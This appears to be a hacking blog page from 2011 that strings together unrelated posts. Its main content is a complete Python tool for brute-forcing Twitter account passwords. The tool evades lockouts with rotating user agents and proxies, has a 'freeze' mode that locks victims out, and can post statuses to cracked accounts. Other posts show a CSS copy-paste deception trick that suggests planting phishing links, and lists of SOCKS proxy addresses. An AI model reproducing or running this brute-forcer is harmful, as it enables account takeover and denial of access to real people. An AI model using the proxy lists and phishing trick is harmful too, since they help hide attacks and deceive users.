Friday, December 30, 2011

twitter brute force (py)

CODE:
#!/usr/bin/python
# Toolname   : twitteater.py
# Programmer : gunslinger_ 
# my forum   : www.devilzc0de.org/forum
# Version    : v1.0
# This was written for educational purpose only. 
# Use this at your own risk.
# Author will be not responsible for any damage !
# I'm preffer using curl on system than using pycurl

import sys, time, StringIO, commands, re, os, random 

# Define variable
__programmer__ = "gunslinger_ "
__version__    = "1.0"
twittbird    = '''
   +++                    ++++  ++++       +++
  +++++                                 ++++  ++++        +++++
  +++++                                  ++   ++++        +++++
  ++++++++++++++  ++       ++      ++         ++++        +++++           ++++         ++++++
  ++++++++++++++ ++++     ++++    ++++  ++++  +++++++++++ +++++++++++  +++++++++++    ++++++++++
  +++++          ++++     ++++    ++++  ++++  +++++++++++ +++++++++++  +++++   +++++  ++++++++++
  +++++          ++++     ++++    ++++  ++++  ++++++++++  +++++++++    +++++++++++++ +++++
  +++++          ++++    ++++++   ++++  ++++  +++++       +++++        +++++++++++++ ++++
   ++++++++++++  ++++++ +++++++  +++++  ++++   +++++++++   +++++++++   ++++          ++++
    ++++++++++++  +++++++++++++++++++   ++++    +++++++++   ++++++++   +++++++++++   ++++
     ++++++++++     +++++++  ++++++     ++++     ++++++++    +++++++     ++++++++    ++++
     "The bird has been eaten by python snake..."
     
     Programmer : %s
     Version    : %s
     Twitter bruteforcer & freezer
''' % (__programmer__, __version__)

option           = '''
Usage  : %s [options]
Option : -u, --username            |   User for bruteforcing
         -w, --wordlist            |   Wordlist used for bruteforcing
     -s, --singlepass          |   Use single password (for update status only) 
     -d, --updatestatus             |   Post new status at given username        
         -v, --verbose                |   Set %s will be verbose
         -p, --proxy             |   Set proxy will be use
         -t, --timeout             |   Set %s timeout request time (default : 15)
         -r, --refferer              |   Set %s refferer will be use (default : random)
         -f, --freeze                |   freeze user, user will be unable login for any minute
         -l, --log             |   Specify output filename (default : twitteater.log)
         -h, --help                    |   Print this help
                                                            
Example : 
     - bruteforcing mode  ~> %s -u brad@hackme.com -w wordlist.txt 
     - freeze mode          ~> %s -u brad@hackme.com -f
     - update status mode ~> %s -u brad@hackme.com -s hackmeifyoucan -d "Beware of Programmers who carry screwdrivers. -- Leonard Brandwein"
       
P.S : add "&" to run in the background  
''' % (sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0])

hme = '''
Usage : %s [option]
    -h or --help for get help''' % sys.argv[0]

refferer     = ['http://twitter.com/',
        'http://twitter.com/login',
        'http://twitter.com/about/contact',
        'http://blog.twitter.com/',
        'http://status.twitter.com/',
        'http://twitter.com/about',
        'http://twitter.com/about'
           ]

ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
        'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
        'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
        'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
            'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
            'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
            'Microsoft Internet Explorer/4.0b1 (Windows 95)',
            'Opera/8.00 (Windows NT 5.1; U; en)',
        'amaya/9.51 libwww/5.4.0',
        'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
        'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
        'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
        'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
        ]
freeze = False
upstat = False
brute = False
counter = 1
# warn , twitter will lock username after 17 x login attempt (tested)
maxlock = 18
verbocity = ''
proxy     = ''
background = ''
timeout      = '15'
statsurl  = 'http://twitter.com/statuses/update.xml'
credential = 'http://twitter.com/account/verify_credentials.xml'
green     = '\033[38m'
red     = '\033[31m'
reset     = '\033[0;0m'
log = "twitteater.log"
file = open(log, "a")

def helpme():
    print twittbird
    print option
    file.write(twittbird)
    file.write(option)
    sys.exit(1)
    
def helpmee():
    print twittbird
    print hme
    file.write(twittbird)
    file.write(hme)
    sys.exit(1)
        
for arg in sys.argv:
    if arg.lower() == '-u' or arg.lower() == '--user':
                username = sys.argv[int(sys.argv[1:].index(arg))+2]
    elif arg.lower() == '-w' or arg.lower() == '--wordlist':
                wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
                brute = True
        elif arg.lower() == '-f' or arg.lower() == '--freeze':
                freeze = True
        elif arg.lower() == '-d' or arg.lower() == '--updatestatus':
            newstatus = sys.argv[int(sys.argv[1:].index(arg))+2]
            newstatus = newstatus.replace("_"," ")
                upstat = True
        elif arg.lower() == '-t' or arg.lower() == '--timeout':
                timeout = sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-s' or arg.lower() == '--singlepass':
                password = sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-r' or arg.lower() == '--refferer':
                refferer = sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-p' or arg.lower() == '--proxy':
                proxy = '-x '+sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-v' or arg.lower() == '--verbose':
            verbocity = "-v"
        elif arg.lower() == '-l' or arg.lower() == '--log':
            log = sys.argv[int(sys.argv[1:].index(arg))+2]
    elif arg.lower() == '-h' or arg.lower() == '--help':
            helpme()
    elif len(sys.argv) <= 1:
        helpmee()

def updatestatus():
    
    trytwitter = 'curl -u %s:%s %s -d status=\"%s\" %s --connect-timeout %d -A \"%s\" %s' % (username, password, statsurl, newstatus, verbocity, int(timeout), random.choice(ouruseragent), proxy)
    restwitter = StringIO.StringIO(commands.getstatusoutput(trytwitter)[1]).read()
    updated = re.findall("", restwitter)
    duplicate = re.findall("Status is a duplicate.", restwitter)
    if verbocity == "-v":
        print restwitter
    if duplicate:
        os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"Duplicate status found\"")
        print "[*] Duplicate status is not accepted by twitter, please don't reduplicate it\n"
        file.write("\n[*] Duplicate status is not accepted by twitter, please don't reduplicate it!\n\n")
        sys.exit(1)
    if updated:
        os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"update status successfully\"")
        print "[*] Update status : %s%s%s has been posted successfully ! \n" % (red, newstatus, reset)
        file.write("\n[*] Update status : %s has been posted successfully !\n\n" % (newstatus))
        sys.exit(1)
    else:
        os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"update status failed\"")
        print "[*] password is wrong ! \n" 
        file.write("\n[*] password is wrong !\n\n")
        sys.exit(1)

def freezemode():
    global counter
    if freeze:
        print "[*] Trying to freeze account %s%s%s, user will be unable login for hour(s)" % (red, username, reset)
        file.write("\n[*] Trying to freeze account %s, user will be unable login for hour(s)" % (username))
        try:
            while counter <= maxlock:
                sys.stdout.write("\r[*] %s%d%s try has gived...                          " % (red, int(counter), reset))
                sys.stdout.flush()
                trytwitter = 'curl -u %s:freeze %s %s --connect-timeout %d' % (username, credential, verbocity, int(timeout))
                restwitter = StringIO.StringIO(commands.getstatusoutput(trytwitter)[1]).read()
                locked = re.findall("This account is locked due to too many failed login attempts -- try again in ([\d.]*\d+) seconds", restwitter)
                if locked:
                    os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"Account successfully freeze\"")
                    print "\n[*] Acount freeze %s%s%s succeded, and unable for login for %d seconds !" % (red, username, reset, int(locked[0]))
                    file.write("\n[*] Acount freeze %s succeded, and unable for login for %d seconds !\n\n" % (username, int(locked[0])))
                    sys.exit(1)
                if verbocity == "-v":
                    print restwitter
                counter = int(counter) + 1
        except KeyboardInterrupt:
            print "\n[-] Deactivated freezing mode\n"
            file.write("\n[-] Deactivated freezing mode\n")
            sys.exit(1)
        
def twitteater(word):
    global counter
    sys.stdout.write("\r[*] Trying %s is %s%d%s of %s%d%s                                  " % (word, red, int(counter), reset, red, len(words), reset))
    sys.stdout.flush()
    file.write("\n[*] Trying %s is %d of %d                                                \n" % (word, int(counter), len(words)))
         try:
        trytwitter = 'curl -u %s:%s %s -A "%s" %s -e %s --connect-timeout %d %s' % (username, word, credential, random.choice(ouruseragent), verbocity, random.choice(refferer), int(timeout), proxy)
        restwitter = StringIO.StringIO(commands.getstatusoutput(trytwitter)[1]).read()
        partwitter = re.findall("", restwitter)
        sick = re.findall("This account is locked due to too many failed login attempts -- try again in ([\d.]*\d+) seconds", restwitter)
        if sick:
            print "\n[*] Account %s%s%s has been freeze by twitter" % (red, username, reset)
            file.write("\n[*] Account %s has been freeze by twitter" % (username))
            os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"Account has been freeze\"")
            sleeper = 0
            while sleeper <= int(sick[0]):
                sys.stdout.write("\r[*] Waiting %d second(s) for start bruteforcing again...           " % (int(sick[0])))
                sys.stdout.flush()
                sleeper = int(sleeper) + 1
                sick[0] = int(sick[0]) - 1
                time.sleep(1)
        if partwitter:
            print "\n[*] Account has been login successfully !"
            print "[*] Username : %s%s%s" % (red, username, reset)
            print "[*] Password : %s%s%s" % (red, word, reset)
            file.write("\n[*] Account has been login successfully !\n")
            file.write("[*] Username : %s\n" % (username))
            file.write("[*] Password : %s\n\n" % (word))
            os.system("notify-send -i `pwd`/twitter.jpg -u normal -t 5000 \"Twitteater\" \"login successfull !\"")
            sys.exit(1)
        if verbocity == "-v":
            print restwitter
    except KeyboardInterrupt:
        print "\n[-] Deactivated bruteforcing mode...\n"
        file.write("\n[-] Deactivated bruteforcing mode...\n")
        sys.exit(1)
    counter = int(counter) + 1
          
def bruteforcemode():
    global word        
    for word in words:
        twitteater(word.replace("\n",""))    

def main():
    global words
    print twittbird
    file.write(twittbird)
    print "[*] Starting attack at %s" % time.strftime("%X")
    file.write("\n[*] Starting attack at %s" % time.strftime("%X"))
    if freeze:
        print "[*] %sFreeze%s mode %sactivated%s" % (red, reset, red, reset)
        file.write("\n[*] Freeze mode activated")
    elif brute:
        print "[*] %sBruteforce%s mode %sactivated%s" % (red, reset, red, reset)
        file.write("\n[*] bruteforce mode activated")
    elif upstat:
        print "[*] %sUpdate status%s mode %sactivated%s" % (red, reset, red, reset)
        file.write("\n[*] Update status mode activated")
    print "[*] Using PID : %s%s%s \n" % (red, os.getpid(), reset)
    file.write("\n[*] Using PID : %s \n" % (os.getpid()))
    if freeze:
        freezemode()
    if upstat:
        updatestatus()
    if brute:     
        try:
            preventstrokes = open(wordlist, "r")
            words            = preventstrokes.readlines()
            count          = 0 
            while count < len(words): 
                words[count] = words[count].strip() 
                count += 1 
        except(IOError): 
              print "\n[-] Error: Check your wordlist path\n"
            file.write("\n[-] Error: Check your wordlist path\n")
              sys.exit(1)
        bruteforcemode()
        twitteater(word)

    
if __name__ == '__main__':
    main()




Trick them with css (Copy past preventing)

Hello dudes i will show you how you can fool someone if he try to copy past your email address or any text in your lovely page

Step 1

Add this (css) code in to your page (internal or external its upon you)

PHP Code:
<style type="text/css">

.
fooling{
  
float:right;
  
font-size:.001px;
  
color:transparent;
  
display:inline-block;
  
width:0px;
  }
style
Step 2:

In the body i will give you an example what you could add (editable)

PHP Code:
my<span cl***="fooling">spam-span>email@yahoo<span cl***="fooling">removedspan>.com 
How it looks like in your page?
It will looks like that..

myemail@yahoo.com


Now after he copy past your email he will got this:

myspam-email@yahooremoved.com

DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm As you can see copy past is not possible anymore its copying wrong text & because i know how evil you are... you can simple trick him with your fake (Phishing page link) DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm

Wireless LAN Access Point *WEBPAGE*

Just a simple web page I have made.
Note: Copy to a notepad and save as .html - *All files*



Code:
var Channel_24G_Text = new Array (" / 2.412GHz", " / 2.417GHz", " / 2.422GHz", " / 2.427GHz", " / 2.432GHz", 

                                  " / 2.437GHz", " / 2.442GHz", " / 2.447GHz", " / 2.452GHz", " / 2.457GHz",

                                  " / 2.462GHz", " / 2.467GHz", " / 2.472GHz");



var Band1Channel_20M = new Array (36,40,44,48);

var Band2Channel_20M = new Array (52,56,60,64);

var Band3Channel_20M = new Array (100,104,108,112,116,132,136,140);

var Band4Channel_20M = new Array (149,153,157,161);

var Band1Channel_40M = new Array (36,44);

var Band2Channel_40M = new Array (52,60);

var Band3Channel_40M = new Array (100,108,116,132);

var Band4Channel_40M = new Array (149,157);



var Band1Channel_20M_Text = new Array (" / 5.180GHz", " / 5.200GHz", " / 5.220GHz", " / 5.240GHz");

var Band2Channel_20M_Text = new Array (" / 5.260GHz", " / 5.280GHz", " / 5.300GHz", " / 5.320GHz");

var Band3Channel_20M_Text = new Array (" / 5.500GHz", " / 5.520GHz", " / 5.540GHz", " / 5.560GHz", " / 5.580GHz", " / 5.660GHz", " / 5.680GHz", " / 5.700GHz");

var Band4Channel_20M_Text = new Array (" / 5.745GHz", " / 5.765GHz", " / 5.785GHz", " / 5.805GHz");

var Band1Channel_40M_Text = new Array (" / 5.180GHz", " / 5.220GHz");

var Band2Channel_40M_Text = new Array (" / 5.260GHz", " / 5.300GHz");

var Band3Channel_40M_Text = new Array (" / 5.500GHz", " / 5.540GHz", " / 5.580GHz", " / 5.660GHz");

var Band4Channel_40M_Text = new Array (" / 5.745GHz", " / 5.785GHz");



var initRegion;

var changeMsg = "WARNING: Selecting the incorrect region may result in a violation of applicable law. \nDo you agree to act in accordance with these settings?";

var notShown = true; // only shown region change message once

var initialized = false;

function initScrn()

{

    var defaultKey;

    var fm=document.forms[0];

    var i;



 if(fm.tempSetting.value == 1)

 {

  var temp_region = parseInt(fm.tempRegion.value);

  if (temp_region == 12)

   fm.WRegion.selectedIndex=10;

  else if (temp_region >= 10 && temp_region <= 11)

   fm.WRegion.selectedIndex=temp_region+1;

  else

   fm.WRegion.selectedIndex=temp_region;

 }

        

    initRegion = fm.WRegion.selectedIndex;



    setOpMode();

    setChannel();

    for (i=0; i

    {

        if (fm.w_channel.options[i].value == fm.initChannel.value)

        {

            fm.w_channel[i].selected = true;

            break;

        }

    }

    for (i=0; i

    {

        if (fm.g_channel.options[i].value == fm.initGChannel.value)

        {

            fm.g_channel[i].selected = true;

            break;

        }

    }

    initialized=true;

}

function chgCh(from)

{

    if ( from == 2 )

    {

        var cf = document.forms[0];

        cf.only_mode.value = "1";

        cf.submit();

    }

    else

    {

        setOpMode();

        setChannel();

    }

}



function setOpMode()

{

 var cf = document.forms[0];

 var index = cf.WRegion.selectedIndex;

 var currentMode = cf.opmode.selectedIndex;



 cf.opmode.options.length = 4;

 cf.opmode.options[0].text = "Up to 270Mbps at 2.4GHz";

 cf.opmode.options[1].text = "Up to 270Mbps at 5GHz & 54Mbps at 2.4GHz";

 cf.opmode.options[2].text = "Up to 130Mbps at 2.4GHz";

 cf.opmode.options[3].text = "Up to 130Mbps at 5GHz & 54Mbps at 2.4GHz";

 cf.opmode.options[0].value = "300Mbps";

 cf.opmode.options[1].value = "300Mbps_5G";

 cf.opmode.options[2].value = "130Mbps";

 cf.opmode.options[3].value = "130Mbps_5G";

 cf.opmode.selectedIndex = currentMode;

 

 if (cf.opmode.options[cf.opmode.selectedIndex].value.indexOf("5G") == -1) {

  cf.g_ssid.disabled = true;

  cf.g_channel.disabled = true;

 } else {

  cf.g_ssid.disabled = false;

  cf.g_channel.disabled = false;

 }

}

function setChannel()

{

 var cf = document.forms[0];

 var index = cf.WRegion.selectedIndex;

 var chIndex = cf.w_channel.selectedIndex;

 var currentMode = cf.opmode.selectedIndex;

 var b1=0, b2=0, b3=0, b4=0;



 if (cf.nBand.value == "5G")

 {

  if (cf.opmode.selectedIndex == 1) // 40MHz

  {

   cf.w_channel.options.length = 100;

   for (b1=0; b1

   {

    cf.w_channel.options[b1].text = Band1Channel_40M[b1] + Band1Channel_40M_Text[b1];

    cf.w_channel.options[b1].value = Band1Channel_40M[b1];

   }

   if (cf.dfs_ch_enable.value == "1"

       || (cf.dfs_ch_enable.value == "0" && cf.dfs_ch_enable_default.value == "OFF" && index != 12))

   {   

       for (b2=0; b2

       {

        cf.w_channel.options[b1+b2].text = Band2Channel_40M[b2] + Band2Channel_40M_Text[b2];

        cf.w_channel.options[b1+b2].value = Band2Channel_40M[b2];

       }

       for (b3=0; b3

       {

        cf.w_channel.options[b1+b2+b3].text = Band3Channel_40M[b3] + Band3Channel_40M_Text[b3];

        cf.w_channel.options[b1+b2+b3].value = Band3Channel_40M[b3];

       }

   }

   if (index != 5 && index != 7)  // No band 4 channels for Europe

   {

    for (b4=0; b4

    {

     cf.w_channel.options[b1+b2+b3+b4].text = Band4Channel_40M[b4] + Band4Channel_40M_Text[b4];

     cf.w_channel.options[b1+b2+b3+b4].value = Band4Channel_40M[b4];

    }

   }

   //cf.w_channel.options.length = b1+b2+b3+b4+1;

   if (index == 5 || index == 7)  // No band 4 channels for Europe

    cf.w_channel.options.length = b1+b2+b3;

   else

    cf.w_channel.options.length = b1+b2+b3+b4;

  }

  else

  {

   cf.w_channel.options.length = 100;

   for (b1=0; b1

   {

    cf.w_channel.options[b1].text = Band1Channel_20M[b1] + Band1Channel_20M_Text[b1];

    cf.w_channel.options[b1].value = Band1Channel_20M[b1];

   }

   if (cf.dfs_ch_enable.value == "1"

       || (cf.dfs_ch_enable.value == "0" && cf.dfs_ch_enable_default.value == "OFF" && index != 12))

   {        

       for (b2=0; b2

       {

        cf.w_channel.options[b1+b2].text = Band2Channel_20M[b2] + Band2Channel_20M_Text[b2];

        cf.w_channel.options[b1+b2].value = Band2Channel_20M[b2];

       }

       for (b3=0; b3

       {

        cf.w_channel.options[b1+b2+b3].text = Band3Channel_20M[b3] + Band3Channel_20M_Text[b3];

        cf.w_channel.options[b1+b2+b3].value = Band3Channel_20M[b3];

       }

   }    

   if (index != 5 && index != 7)  // No band 4 channels for Europe

   {

    for (b4=0; b4

    {

     cf.w_channel.options[b1+b2+b3+b4].text = Band4Channel_20M[b4] + Band4Channel_20M_Text[b4];

     cf.w_channel.options[b1+b2+b3+b4].value = Band4Channel_20M[b4];

    }

   }

   //cf.w_channel.options.length = b1+b2+b3+b4+1;

   if (index == 5 || index == 7)  // No band 4 channels for Europe

    cf.w_channel.options.length = b1+b2+b3;

   else

    cf.w_channel.options.length = b1+b2+b3+b4;

  }

  //cf.w_channel.options[0].text = "Auto";

  //cf.w_channel.options[0].value = 0;

 }

 else

 {

  if (FinishChannel[index]==14 && cf.opmode.selectedIndex!=0)

   cf.w_channel.options.length = FinishChannel[index] - StartChannel[index] + 1;

  else

   cf.w_channel.options.length = FinishChannel[index] - StartChannel[index] + 2;



  cf.w_channel.options[0].text = "Auto";

  cf.w_channel.options[0].value = 0;



  for (var i = StartChannel[index]; i <= FinishChannel[index]; i++) {

   if (i==14 && cf.opmode.selectedIndex!=0)

    continue;

   cf.w_channel.options[i - StartChannel[index] + 1].value = i;

   cf.w_channel.options[i - StartChannel[index] + 1].text = ((i < 10)? "0" + i : i) + Channel_24G_Text[i -1];

  }

  cf.w_channel.selectedIndex = ((chIndex > -1) && (chIndex < cf.w_channel.options.length)) ? chIndex : 0 ;

 }



 chIndex = cf.g_channel.selectedIndex;

 if (FinishChannel[index]==14 && cf.opmode.selectedIndex!=0)

  cf.g_channel.options.length = FinishChannel[index] - StartChannel[index];

 else

  cf.g_channel.options.length = FinishChannel[index] - StartChannel[index] + 2;



 cf.g_channel.options[0].text = "Auto";

 cf.g_channel.options[0].value = 0;



 for (var i = StartChannel[index]; i <= FinishChannel[index]; i++) {

  if (i==14 && cf.opmode.selectedIndex!=0)

   continue;

  cf.g_channel.options[i - StartChannel[index] + 1].value = i;

  cf.g_channel.options[i - StartChannel[index] + 1].text = ((i < 10)? "0" + i : i) + Channel_24G_Text[i-1];

 }

 cf.g_channel.selectedIndex = ((chIndex > -1) && (chIndex < cf.g_channel.options.length)) ? chIndex : 0 ;

}

function loadhelp(fname,anchname)

{

    if ((loadhelp.arguments.length == 1 ) || (anchname == "" ))

        top.helpframe.location.href=fname+"_h.htm";

    else

        top.helpframe.location.href=fname+"_h.htm#" + anchname;

}

function checkRegion()

{

    var cf = document.forms[0];

    if(cf.WRegion.selectedIndex == 0)

    {

        cf.WRegion.focus();

        return alertR("Please select the correct region for your location");

    }

    if (notShown)

        notShown = false;

    else if(cf.WRegion.selectedIndex != initRegion && notShown)

    {

        if(!confirm(changeMsg))

            return false;

        else notShown = false;

    }

    return true;

}

function checkData()

{

    var cf = document.forms[0];

    if(!checkRegion()) return false;



    if (cf.ssid.value == "")

    {

        alert("SSID cannot be empty");

        return false;

    }



    if (cf.ssid.value.match( /[^\x20-\x7E]/ ))

    {

        alert("Character is not allowed in SSID.");

        cf.ssid.focus();

        return false;

    }



    if (cf.g_ssid.value == "")

    {

        alert("SSID cannot be empty");

        return false;

    }



    if (cf.g_ssid.value.match( /[^\x20-\x7E]/ ))

    {

        alert("Character is not allowed in SSID.");

        cf.ssid.focus();

        return false;

    }

    

//    if (cf.ssid.value.toLowerCase() == "any")

//    {

//        alert("Invalid SSID.\nThe 'ANY' including any upper/lower case combination\n(e.g, 'Any' or 'aNy') of this word is not allowed to be a SSID.");

//        return false;

//    }



    if(cf.passphrase.value.length < 8)

    {

        alert("Insufficient passphrase length, should be minimum of 8 characters long.");

        return false;    

    }

    if(cf.passphrase.value.length > 63)

    {

        if ( isHex(cf.passphrase.value) == false)

        {

            alert("Passphrase is too long, the maximum length should be 63 characters.");

            cf.passphrase.value = "";

            return false;

        }    

    }

    

    if (cf.passphrase.value.match( /[^\x20-\x7E]/ ))

    {

        alert("Character is not allowed in passphrase.");

        cf.passphrase.focus();

        return false;

    }



//    if (cf.wds_enable.value == "1" &&

//        ((cf.g_channel.disabled == true && cf.w_channel[0].selected) ||

//         (cf.g_channel.disabled == false && cf.g_channel[0].selected)))

    if (cf.wds_enable.value == "1" &&

       (cf.g_channel.disabled == true && cf.w_channel[0].selected))

    {

        alert("Auto Channel cannot be used with Wireless Repeating Function.");

        cf.w_channel.focus();

        return false;

    }



    return true;

}

function hotkey(e)

{

    var cf = document.forms[0];

    if(window.event) // IE

    {

        keynum = e.keyCode

    }

    else if(e.which) // Netscape/Firefox/Opera

    {

        keynum = e.keyCode

    }

    if((keynum==77)&&(e.altKey))

    {

        cf.opmode.focus();

        cf.opmode.select;       

    }

    else if((keynum==78)&&(e.altKey))

    {

        cf.security_type[0].checked = true;  

        document.forms[0].submit();  

    } 

}

// -->








Wireless Settings

 
Wireless Network
Name (11N SSID):
Name (11G SSID):
Region:
Mode:
11N Channel:
11G Channel:
 
Security Options
None
WEP
WPA-PSK [TKIP]
WPA2-PSK [AES]
WPA-PSK [TKIP] + WPA2-PSK [AES]
 
Security Options (WPA-PSK)
  Passphrase:   (8-63 characters or 64 hex digits)
 

 

[Javascript] Annoying

Code:

Web Content Management

A web content management solution is a kind of software which allows the user to make changes or edit the content of any website without having any web design knowledge. It is essentially a computer system which is used to maintain web documents. CMS web designers create series of CMS templates where webpages are dropped for future changes. User can then use a simple interface to add, delete or modify the content of the page. CMS also provides simple and easy way to create new webpages. A CMS allows document editing, auditing and timeline management.



Why CMS?
If you have a website then you need to update it regularly so that your visitors find it interesting. Stagnant websites are like stale food making every one disinterested to even see. But it will need a lot of money if you plan to update your site by web developers every week. Hence you can have a mid way for this. A CMS can help you update your website allowing you to edit or modify the content in your website. You can save money and time by using CMS. Through CMS, you can update your content as often as you want. With constant updating your site will look more interactive and appealing. If you plan to update your content then it is a good idea to have a CMS.



Key Features of CMS
Many CMS' have different features. It is not essential that every CMS will have similar features. The basic feature of CMS is to edit the content of the website. Many CMS' have features like access rights management and content approval, dynamic site maps, e-mail alerts, dual or multilingual functionality, form creation and management, standard and accessibility compliance, Meta tag updating, site security, image optimization and processing, versioning, static report and search functionality.



How to get CMS?
Many web deigning companies offer CMS along with other services. CMS pricing depends on the number of pages and users involved in it. You can get varieties of CMS offered by different companies. Make sure you do a thorough market research before spending big bucks on CMS. You can also consult software companies for better advice.

Yahoo Voice Socks Fresh List

108.197.126.35:1507 108.28.137.19:1330 108.6.60.250:1712 109.108.76.9:8618 112.95.238.199:1080 113.106.90.199:1080 114.36.0.19:8164 117.239.105.164:1080 117.240.73.3:1080 119.235.50.162:1080 119.36.138.131:1080 120.151.182.207:24437 120.29.155.2:1080 121.192.32.221:1080 121.8.124.42:1080 123.201.19.80:1080 124.207.233.117:1080 125.164.121.234:1080 131.247.19.133:7541 137.28.24.42:4005 140.198.113.219:1273 146.115.110.48:1049 146.115.25.15:14679 149.169.114.175:11897 149.169.119.88:1346 165.166.215.118:14415 173.16.16.58:1346 173.166.171.105:1511 173.168.63.81:9131 173.17.197.129:1143 173.182.159.207:7109 173.19.190.203:1381 173.2.151.182:24069 173.216.124.126:1069 173.216.4.55:11605 173.217.146.23:1690 173.217.93.22:1167 173.218.161.146:1745 173.22.63.177:1127 173.23.126.12:1768 173.230.112.197:9825 173.25.99.128:1908 173.27.10.8:1136 173.27.81.88:1750 173.3.162.218:11594 173.31.175.133:2002 173.31.56.208:1815 173.51.124.142:1144 173.60.108.251:23149 173.66.195.171:1110 173.69.200.203:1250 173.72.119.139:31765 173.74.208.70:13637 173.79.236.8:1090 173.81.213.117:1893 173.88.101.85:1283 173.88.181.169:1190 

Speed sock 5 servers

107.10.46.241:1783
107.8.47.78:4736
108.13.9.241:1283
108.6.60.250:1712
167.206.79.250:2393
173.16.197.183:1669
173.171.133.232:1490
173.184.183.123:2531
173.213.140.255:38791
173.216.150.80:1971
173.217.93.22:1282
173.29.21.246:22837
173.65.54.93:27647
173.73.27.191:1720
173.79.236.8:1090
173.81.169.226:2452
174.100.111.60:11606
174.111.58.228:1471
174.134.118.61:1268
174.49.127.98:1502
174.51.154.147:1952
174.53.151.38:1394
174.61.46.220:23981
174.96.233.17:20797
18.125.1.205:1330
184.155.18.77:4709
184.155.56.70:5978
184.167.68.20:1860
198.174.37.113:4283
199.192.159.47:1080
204.116.238.169:14437
208.107.17.187:1883
208.107.72.108:6939
208.114.72.87:1877
208.126.143.141:1674
208.65.13.147:1565
216.164.41.186:20513
216.221.207.233:1810
24.0.114.172:21555
24.1.103.178:1234
24.107.232.14:1744
24.11.197.191:42777
24.110.35.186:48315
24.113.201.130:1190
24.113.254.185:1174
24.12.239.53:12219
24.121.32.81:1884
24.121.62.130:1123
24.127.105.131:32293
24.128.77.115:57884
24.129.18.144:1377
24.140.27.212:45207
24.145.217.35:6311
24.147.100.184:1877
24.149.93.182:49193
24.151.162.43:1080
24.160.114.119:1471
24.177.38.192:1971
24.177.65.102:3107
24.179.58.130:1377
24.181.94.202:6829
24.184.26.235:28247
24.185.12.187:5587
24.187.252.6:1311
24.188.14.173:1529

Newer Posts Older Posts Home